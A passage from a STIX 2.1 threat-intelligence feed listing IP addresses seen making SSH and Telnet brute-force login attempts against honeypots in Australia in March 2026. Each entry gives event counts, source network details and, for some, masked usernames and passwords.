    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 146943. Organisation(s): Tier 4 Cloud Services. Usernames observed (masked): r**t, l***a, d**o, d***8, l****o. Passwords observed (masked): A******1, T************G, V****************************N, c******9, l***a.",
      "id": "indicator--37ba7ed0-34ac-4fd8-a23b-02e866fb0336",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.30.75.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4970e057-1251-41b4-b4f9-5ea4b568ee81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--d28d437d-4db0-4cad-85c1-4401d1218bc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.179.11.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266539. Organisation(s): LINQ TELECOMUNICACOES.",
      "id": "indicator--f0855bb1-0cff-4054-af91-d7b9a0868a79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.200.44.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 7623. Organisation(s): Gyeongbuk Cable TV.",
      "id": "indicator--ee1dbc57-953d-4767-9e2a-7616a4e220bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.142.216.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--0c10230d-ffad-41d3-b4ca-b07a5717ea6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.83.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:15:13.000Z",
      "valid_until": "2026-04-16T12:15:11.000Z"
    },
    {
      "created": "2026-03-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t***1, t***2, t***3. Passwords observed (masked): ***, r*****3, r*****1, t***1, t***2.",
      "id": "indicator--7ad54b66-3988-47d7-ace5-beaa97576351",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.180.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T13:15:09.000Z",
      "valid_until": "2026-04-16T13:15:07.000Z"
    },
    {
      "created": "2026-03-15T13:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b945c6a2-83a6-424b-94bc-04df3c9e432e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T13:15:09.000Z",
      "valid_until": "2026-04-16T13:15:07.000Z"
    },
    {
      "created": "2026-03-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a5b4a3c3-05d9-46aa-b809-30993413108b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.241.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T13:15:09.000Z",
      "valid_until": "2026-04-16T13:15:07.000Z"
    },
    {
      "created": "2026-03-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--83f20208-685d-44f7-90a0-8cde07d59bcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.245.177.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T13:15:09.000Z",
      "valid_until": "2026-04-16T13:15:07.000Z"
    },
    {
      "created": "2026-03-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--00774594-af79-478a-95ad-bc79929e400b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T13:15:09.000Z",
      "valid_until": "2026-04-16T13:15:07.000Z"
    },
    {
      "created": "2026-03-15T13:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T13:15:09.000Z",
      "valid_until": "2026-04-16T13:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): i*****m, 3**********4, a****o, a**y, ***. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, f*****s.",
      "id": "indicator--19390da1-8c31-4f38-94ad-e80d9c1350f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.85.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7684. Organisation(s): SAKURA Internet Inc.. Usernames observed (masked): 3**********4, a***s, r**t, ***, d***s. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, 1****6.",
      "id": "indicator--42994839-1bfe-4837-be39-3d7fcd69a4d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '153.120.62.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6b40c132-9eba-4a73-92a3-fd1de5dde934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina. Usernames observed (masked): ***, 3**********4, a**y, d*****r, n*****r. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, f*****s.",
      "id": "indicator--0fe8ee0d-c9b0-4dcf-b007-fe029f16d3d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.39.15.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t***1, t***2, t***3. Passwords observed (masked): r*****3, t***1, t***2, t***3.",
      "id": "indicator--2a04919e-acc5-4842-87b1-cf5bbe0cd647",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.175.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--73742297-af2e-4a91-ae1a-d07489a2dc49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.104.42.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--b3d26cfe-847e-40f6-b2e0-03d6424b98c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.123.74.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 136787. Organisation(s): PacketHub S.A.. Passwords observed (masked): 0****0, 0******0, 1****6, a***n, d*****t.",
      "id": "indicator--43c7b340-6e25-4ae1-bf7b-13213375ebc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.10.155.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): k******k, 3**********4, ***, d*****p, ***. Passwords observed (masked): 1******8, 1**4, 1***5, 1****6, 3***********4.",
      "id": "indicator--599ce174-2b4e-4341-aa3c-1d746658d486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.233.193.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--80dcdf27-e39b-4770-9ee8-116b5de46a54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T14:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 25549. Organisation(s): JSC Avantel.",
      "id": "indicator--322ee2b0-ff97-4e72-ae4d-2bf62863d934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T14:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.170.131.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:15:09.000Z",
      "valid_until": "2026-04-16T14:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--9b3ebe57-994c-4e3a-b2c3-66ba50def71e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.139.154.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--36d93335-68a7-42a8-96ef-8104d7bb3057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.36.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a9f215a9-d00c-4124-b8e9-e12df10acfd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.137.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3344ec70-169e-4369-bdba-b1b25355cbe4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.178.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213230. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1***5.",
      "id": "indicator--22ff0ec2-6604-4d97-8bde-a27355df6a05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.156.254.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6ea815fa-3019-4314-822e-0a8db970e857",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.170.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T15:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--1a23d821-ff22-476b-ac9b-a6edd3905c3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T15:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:15:09.000Z",
      "valid_until": "2026-04-16T15:15:07.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): w****p, 3**********4, f*******1, i*****n, k****l. Passwords observed (masked): 3***********4, 3**********4, I********3, k********!, p******d.",
      "id": "indicator--90edb2e6-0d10-4401-a6e5-2754881a184a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.117.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, **, ***, i*********a, i*****n. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******8, I********3.",
      "id": "indicator--fa79c169-2f6c-4bb2-ad38-42b372cc1391",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.117.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, 3**********4, f*******1, k****l, p**e. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, k********!.",
      "id": "indicator--835feda1-5c82-424b-ab4d-8b184d5765a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.52.114.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:15:14.000Z",
      "valid_until": "2026-04-16T16:15:11.000Z"
    },
    {
      "created": "2026-03-15T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136336. Organisation(s): Thamizhaga Internet Communications Private Limited. Usernames observed (masked): **, 3**********4, f*******1, k****l, w****p. Passwords observed (masked): 1******8, 3***********4, 3**********4, k********!, p******d.",
      "id": "indicator--f3cb4b21-cc2c-43eb-a3aa-9c78fd82596f",
